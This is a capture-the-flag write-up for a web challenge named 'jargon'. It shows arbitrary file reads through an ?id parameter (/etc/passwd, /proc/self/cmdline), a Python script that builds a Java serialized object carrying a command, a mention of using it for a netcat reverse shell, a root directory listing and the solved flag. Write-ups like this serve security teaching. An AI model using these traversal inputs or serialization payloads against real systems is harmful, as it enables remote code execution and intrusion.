jargon
This ticketing platform looks like it was built back in the late ’90s, yet somehow it’s still running in 2025. Many of the flaws it carries are relics of an older era of the web. The question is: can you still exploit these outdated systems today, or has old-school web exploitation become harder in the modern landscape?
Resolution
We were given a contact form that create a ticket.
We can read older tickets and download attached files.
We found out that we can download any file if we specify anything after the ?id parameter, like ?id=/etc/passwd.
So we se tried some things like /proc/self/cmdline and downloaded as a result /app/target/jargon.jar
After decompiling, we saw that the jar archive contains a surprising class in ctf/jargon/Exploit.class.
Immediately, we think about java deserialization, we used a snippet to execute what we wants, like a reverse shell.
import struct def create_java_serialized_exploit(command=""): # STREAM_MAGIC (0xACED) + STREAM_VERSION (0x0005) header = b'\xac\xed\x00\x05' # TC_OBJECT (0x73) tc_object = b'\x73' # TC_CLASSDESC (0x72) tc_classdesc = b'\x72' # class name class_name = "ctf.jargon.Exploit" class_name_length = struct.pack('>H', len(class_name)) class_name_bytes = class_name.encode('utf-8') # serialVersionUID serial_version_uid = struct.pack('>Q', 1) # 1L # serialized (SC_SERIALIZABLE = 0x02) flags = b'\x02' # fields (1 champ: cmd) num_fields = struct.pack('>H', 1) # desc "cmd" field_type = b'L' # Object field_name = "cmd" field_name_length = struct.pack('>H', len(field_name)) field_name_bytes = field_name.encode('utf-8') # TC_STRING type tc_string = b'\x74' field_type_name = "Ljava/lang/String;" field_type_length = struct.pack('>H', len(field_type_name)) field_type_bytes = field_type_name.encode('utf-8') # TC_ENDBLOCKDATA tc_endblockdata = b'\x78' # TC_NULL pour superclass tc_null = b'\x70' # cmd value tc_string_cmd = b'\x74' cmd_length = struct.pack('>H', len(command)) cmd_bytes = command.encode('utf-8') # final serialized_data = ( header + tc_object + tc_classdesc + class_name_length + class_name_bytes + serial_version_uid + flags + num_fields + field_type + field_name_length + field_name_bytes + tc_string + field_type_length + field_type_bytes + tc_endblockdata + tc_null + tc_string_cmd + cmd_length + cmd_bytes ) return serialized_data
We used as payload a reverseshell (nc was installed on the remote host !) and then…
ls -la / total 80 drwxr-xr-x 1 root root 4096 Sep 12 11:08 . drwxr-xr-x 1 root root 4096 Sep 12 11:08 .. drwxr-xr-x 1 root root 4096 Sep 12 12:04 app drwxr-xr-x 2 root root 4096 May 9 2019 bin drwxr-xr-x 5 root root 360 Sep 12 11:08 dev drwxr-xr-x 1 root root 4096 Sep 12 11:08 etc -rw-rw-rw- 1 root root 71 Aug 19 09:23 flag-butlocationhastobesecret-1942e3.txt drwxr-xr-x 2 root root 4096 May 9 2019 home drwxr-xr-x 1 root root 4096 May 11 2019 lib drwxr-xr-x 5 root root 4096 May 9 2019 media drwxr-xr-x 2 root root 4096 May 9 2019 mnt drwxr-xr-x 2 root root 4096 May 9 2019 opt dr-xr-xr-x 366 nobody nobody 0 Sep 12 11:08 proc drwx------ 1 root root 4096 Aug 19 13:41 root drwxr-xr-x 1 root root 4096 Sep 12 11:08 run drwxr-xr-x 2 root root 4096 May 9 2019 sbin drwxr-xr-x 2 root root 4096 May 9 2019 srv dr-xr-xr-x 13 nobody nobody 0 Sep 12 10:46 sys drwxrwxrwt 1 root root 4096 Sep 12 12:04 tmp drwxr-xr-x 1 root root 4096 May 11 2019 usr drwxr-xr-x 1 root root 4096 May 9 2019 var cat /flag* ctf{a303b9d784195c971e0ff1c1c94723bcc26c4a0b714e919d898a26e82d6c843c}
The flag is: ctf{a303b9d784195c971e0ff1c1c94723bcc26c4a0b714e919d898a26e82d6c843c}